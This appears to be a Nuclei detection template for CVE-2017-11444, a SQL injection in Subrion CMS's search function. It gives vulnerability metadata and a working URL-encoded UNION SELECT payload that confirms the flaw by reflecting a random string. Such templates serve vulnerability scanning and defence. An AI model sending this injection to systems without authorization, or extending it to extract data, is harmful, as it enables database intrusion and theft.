id: CVE-2017-11444

info:
  name: Subrion CMS <4.1.5.10 - SQL Injection
  author: dwisiswant0
  severity: critical
  description: "Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array."
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Upgrade Subrion CMS to version 4.1.5.10 or later to mitigate this vulnerability.
  reference:
    - https://github.com/intelliants/subrion/issues/479
    - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11444
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/qazbnm456/awesome-cve-poc
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-11444
    cwe-id: CWE-89
    epss-score: 0.7929
    epss-percentile: 0.99091
    cpe: cpe:2.3:a:intelliants:subrion_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelliants
    product: subrion_cms
  tags: cve2017,cve,sqli,subrion,intelliants,vuln
variables:
  string: "{{to_lower(rand_base(5))}}"
  hex_string: "{{hex_encode(string)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%27{{hex_string}}%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{string}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ca2a2d8122c506a34066aefdfede9bf982083975b0a2c13ff12ad2966cb73f80022003f3b0e681a51e25b1523c536a9174cb85a4a760404b1fdfc161e86bdba87f15:922c64590222798bb761d5b6d8e72950